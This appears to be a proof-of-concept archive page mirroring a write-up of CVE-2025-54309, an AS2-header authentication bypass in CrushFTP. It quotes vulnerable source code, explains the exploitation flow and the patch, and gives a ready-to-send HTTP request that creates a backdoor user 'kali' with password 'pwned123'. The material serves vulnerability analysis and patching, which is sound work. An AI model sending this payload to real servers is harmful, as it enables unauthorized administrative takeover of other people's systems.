Associated Vulnerability
Title:CrushFTP 安全漏洞 (CVE-2025-54309)Description:CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
Description
CrushFTP AS2 Authentication Bypass
Readme
***
# CrushFTP AS2 Authentication Bypass – CVE-2025-54309
> Author: [kali](https://github.com/blueisbeautiful)
***
## Vulnerability Overview
A critical authentication bypass exists in CrushFTP versions 10.x prior to 10.8.5 and 11.x prior to 11.3.4_23. The vulnerability derives from a logic flaw in the HTTP session management code, specifically in `ServerSessionHTTP.java`, method `loginCheckHeaderAuth()` near line 2285.
The flaw allows authentication to be bypassed when an HTTP request includes an `AS2-To` header that is empty or missing the required `-_-` delimiter. When this occurs and the configuration disables `blank_passwords` (which is the default), the method returns prematurely, skipping any authentication process.
***
## Vulnerable Code Section
```java
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0
&& !ServerStatus.BG("blank_passwords")) {
return; // Authentication bypass - returns without validation
}
```
Explanation: If the `AS2-To` header does not contain the `-_-` delimiter and blank passwords are disabled, the code returns immediately without validating any credentials. This allows the request to proceed as if it were authenticated.
***
## Method Location
- File: `crushftp/server/ServerSessionHTTP.java`
- Method: `loginCheckHeaderAuth()`
- Approximate line: 2285
***
## Conditions for Exploit
1. The HTTP request contains a header named `AS2-To`.
2. The `AS2-To` header's value does not include the `-_-` delimiter.
3. The boolean config `blank_passwords` is disabled (`false` by default).
If all conditions are met, the authentication check is skipped.
***
## Full Exploitation Flow
```text
1. Client sends an HTTP request with the header:
AS2-To: <value_without_-_-_delimiter_or_empty>
2. The method loginCheckHeaderAuth() is called.
3. The code detects the presence of AS2-To header.
4. It checks if the header value contains "-_-".
5. If not found, and blank_passwords is false (default), method returns immediately.
6. No authentication validation is performed.
7. Client gains authenticated session state.
8. Privileged methods such as user creation are accessible.
```
***
## Privilege Escalation Vector: setUserItem()
File: `crushftp/server/AdminControls.java`
Method: `setUserItem()` (around line 2513)
```java
public static String setUserItem(Properties request, SessionCrush thisSession, String site) {
// ... validation code ...
// FLAW: Does not verify if user was authenticated via AS2
if (request.getProperty("data_action").equals("new")) {
if (new_user.getProperty("password").equals("SHA3:XXXXXXXXXXXXXXXXXXXX")) {
new_user.put("password", "");
}
crushftp.handlers.Common.updateObjectLogOnly("new ", "users/" + request.getProperty("serverGroup") + "/" + username, log_summary);
// User is created without proper authentication
UserTools.writeUser(request.getProperty("serverGroup"), username, new_user, true, true, request);
}
// ... rest of the method ...
}
```
This method creates or updates users without confirming authentication was successfully performed via AS2 headers, enabling untrusted clients to add administrative users.
***
## Permission Check Bypass
In `AdminControls.java` (approx. line 3666):
```java
if (command.equalsIgnoreCase("setUserItem") && site.indexOf("(USER_EDIT)") >= 0) {
return true; // Grants permission assuming prior authentication
}
```
Because authentication is bypassed, this permission gate is rendered ineffective.
***
## Simple AS2 Detection
```java
public boolean isAS2() {
int x = 0;
while (x < this.headers.size()) {
String s = this.headers.elementAt(x).toString();
if (s.toLowerCase().trim().startsWith("as2-to")) {
return true; // Detect AS2 solely by header presence
}
++x;
}
return false;
}
```
The current AS2 detection is shallow and does not verify content or credentials validity.
***
## Proof-of-Concept Exploit Payload
```http
POST /WebInterface/function/ HTTP/1.1
Host: target.com
AS2-To:
AS2-From:
Content-Type: application/x-www-form-urlencoded
command=setUserItem&username=kali&user=%3Cuser%3E%3Cusername%3Ekali%3C%2Fusername%3E%3Cpassword%3Epwned123%3C%2Fpassword%3E%3Cenabled%3Etrue%3C%2Fenabled%3E%3C%2Fuser%3E&data_action=new
```
Stepwise:
1. The `AS2-To` header is empty resulting in `.indexOf("-_-") < 0` evaluating true.
2. The config `blank_passwords` normally is false, so condition `!ServerStatus.BG("blank_passwords")` is true.
3. Method returns early, skipping authentication.
4. User creation function is called, adding a privileged user `kali` with password `pwned123`.
***
## Bypassed Protections
- **DMZ Password Requirement:** Normally requires password presence if no `Authorization` or `AS2-To` headers; bypassed if `AS2-To` exists regardless of content.
- **Rate Limiting:** Not effective due to no authentication.
- **IP Banning:** Not triggered since initial request is accepted.
***
## Impact
- Complete system compromise through administrative user creation.
- Persistent backdoors via new users.
- Full file system read/write access.
- Configuration manipulation.
***
## Fix Delivered
Patched code replaces early return with explicit deauthentication call:
```java
if (this.headerLookup.getProperty("as2-to".toUpperCase()).trim().indexOf("-_-") < 0
&& !ServerStatus.BG("blank_passwords")) {
this.DEAUTH(); // Forces deauthentication
return;
}
```
This ensures invalid or incomplete `AS2-To` headers cannot grant access.
***
## Affected Versions
- CrushFTP 10.x before 10.8.5
- CrushFTP 11.x before 11.3.4_23
***
This proof of concept fully demonstrates the flaw, exploitation method, and impact with source code context to provide a comprehensive understanding of CVE-2025-54309. Patch updates must be applied without delay to prevent unauthorized system access.
File Snapshot
[4.0K] /data/pocs/3b8c336c6fd2b82f8832c19d158d83bd6ec80cda
├── [1.0K] LICENSE
└── [5.8K] README.md
0 directories, 2 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →